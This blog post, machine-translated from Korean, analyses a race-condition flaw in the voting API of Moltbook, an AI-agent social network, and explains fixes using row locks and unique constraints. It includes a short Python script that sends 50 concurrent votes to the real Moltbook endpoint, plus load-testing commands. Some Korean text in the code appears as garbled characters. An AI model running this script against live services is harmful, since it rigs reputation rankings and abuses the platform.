Arang.dev
Search

Moltbook API Race Condition Vulnerability Analysis

A technical analysis of the Race Condition vulnerability and its impact, discovered in the voting system of Moltbook, an AI agent social network.

#Security#Race Condition#API#Vulnerability
🌐 Translated

This post was machine-translated from Korean by AI. Some expressions may differ from the original.

Read the original (Korean)

Overview

Recently, an interesting vulnerability was discovered in Moltbook, a social network where AI agents are active. This vulnerability is a Race Condition that exists in the platform's core Karma (voting) system, which, if exploited, allows for unlimited voting.

⚠️ Disclaimer: This article is written for educational purposes only. Unauthorized attacks on real systems are illegal.

Vulnerability Details

Problem

The Moltbook API does not use database locks when checking if a user has voted on a specific post. This causes the following Race Condition:

μ‹œκ°„ β†’
 
μš”μ²­ 1: [νˆ¬ν‘œ μ—¬λΆ€ 확인] β†’ "아직 μ•ˆ 함" β†’ [νˆ¬ν‘œ 처리] β†’ βœ“
μš”μ²­ 2: [νˆ¬ν‘œ μ—¬λΆ€ 확인] β†’ "아직 μ•ˆ 함" β†’ [νˆ¬ν‘œ 처리] β†’ βœ“
μš”μ²­ 3: [νˆ¬ν‘œ μ—¬λΆ€ 확인] β†’ "아직 μ•ˆ 함" β†’ [νˆ¬ν‘œ 처리] β†’ βœ“
         ↑
    λ™μ‹œμ— 50개 μš”μ²­μ„ 보내면
    λͺ¨λ“  μš”μ²­μ΄ "아직 νˆ¬ν‘œ μ•ˆ 함"으둜 νŒλ‹¨

Attack Scenario

import asyncio
import aiohttp
 
async def vote(session, post_id, token):
    """단일 νˆ¬ν‘œ μš”μ²­"""
    async with session.post(
        f"https://api.moltbook.com/posts/{post_id}/vote",
        headers={"Authorization": f"Bearer {token}"}
    ) as response:
        return response.status
 
async def exploit(post_id, token, count=50):
    """λ™μ‹œ 닀쀑 νˆ¬ν‘œ 곡격"""
    async with aiohttp.ClientSession() as session:
        tasks = [vote(session, post_id, token) for _ in range(count)]
        results = await asyncio.gather(*tasks)
        success = sum(1 for r in results if r == 200)
        print(f"μ„±κ³΅ν•œ νˆ¬ν‘œ: {success}/{count}")
 
# μ‹€ν–‰: asyncio.run(exploit("post-uuid", "user-token"))

By sending 50 concurrent requests, the server checks if each request has voted while the vote from other requests has not yet been committed, so all requests succeed.

Technical Analysis

Why does it occur?

This vulnerability is a typical TOCTOU (Time-of-Check to Time-of-Use) problem:

  1. Check: Check if the user has already voted
  2. Use: Insert voting record

There is a "window" between these two steps where other transactions can intervene.

-- μ·¨μ•½ν•œ μ½”λ“œ (μ˜μ‚¬ μ½”λ“œ)
BEGIN TRANSACTION;
 
-- Step 1: Check (락 μ—†μŒ)
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?;
 
-- μ—¬κΈ°μ„œ λ‹€λ₯Έ νŠΈλžœμž­μ…˜μ΄ 끼어듀 수 있음!
 
-- Step 2: Use
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;

Correct Implementation

-- ν•΄κ²°μ±… 1: SELECT FOR UPDATE (비관적 락)
BEGIN TRANSACTION;
 
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?
FOR UPDATE;  -- ν–‰ 락 νšλ“
 
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;
-- ν•΄κ²°μ±… 2: UNIQUE μ œμ•½μ‘°κ±΄ + UPSERT
CREATE UNIQUE INDEX idx_votes_unique 
ON votes (user_id, post_id);
 
-- 쀑볡 μ‹œ μžλ™ λ¬΄μ‹œ
INSERT INTO votes (user_id, post_id) VALUES (?, ?)
ON CONFLICT DO NOTHING;

Impact

Actual Damage

Due to this vulnerability:

  • Karma System Disablement: Voting counts can be manipulated arbitrarily
  • Ranking Manipulation: The "Top Agents" ranking is proportional to the frequency of attacks, not popularity
  • Loss of Trust: The platform's core value (agent reputation) becomes meaningless

Discovery Circumstances

This vulnerability was discovered by Moltbook user @CircuitDreamer and disclosed to the platform. The original post has now been deleted.

Generalized Lessons

Race Condition Prevention Checklist

  1. Database Level

    • Use FOR UPDATE / FOR SHARE locks
    • Set appropriate isolation levels (SERIALIZABLE)
    • Utilize UNIQUE constraints
  2. Application Level

    • Distributed Locks (Redis, ZooKeeper)
    • Optimistic Locking (version number)
    • Idempotency Key pattern
  3. API Design

    • Rate Limiting
    • Request Deduplication
    • Ensure Idempotency

Testing Methods

Race Conditions are difficult to find with typical testing. The following tools are useful:

# 1. Apache Bench둜 λ™μ‹œ μš”μ²­
ab -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
   -T "application/json" \
   https://api.example.com/vote
 
# 2. hey (Go 기반 벀치마크 도ꡬ)
hey -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/vote
 
# 3. Python asyncio 슀크립트 (μœ„ 예제 μ°Έκ³ )

Conclusion

This vulnerability in Moltbook once again reminds us of the importance of concurrency issues in web application security.

In particular, APIs used by AI agents are more vulnerable to Race Conditions because they can generate requests at a much faster rate than regular users. Concurrency scenarios must be considered when designing APIs.

References

Comments

Loading comments...
Moltbook API Race Condition Vulnerability Analysis | Arang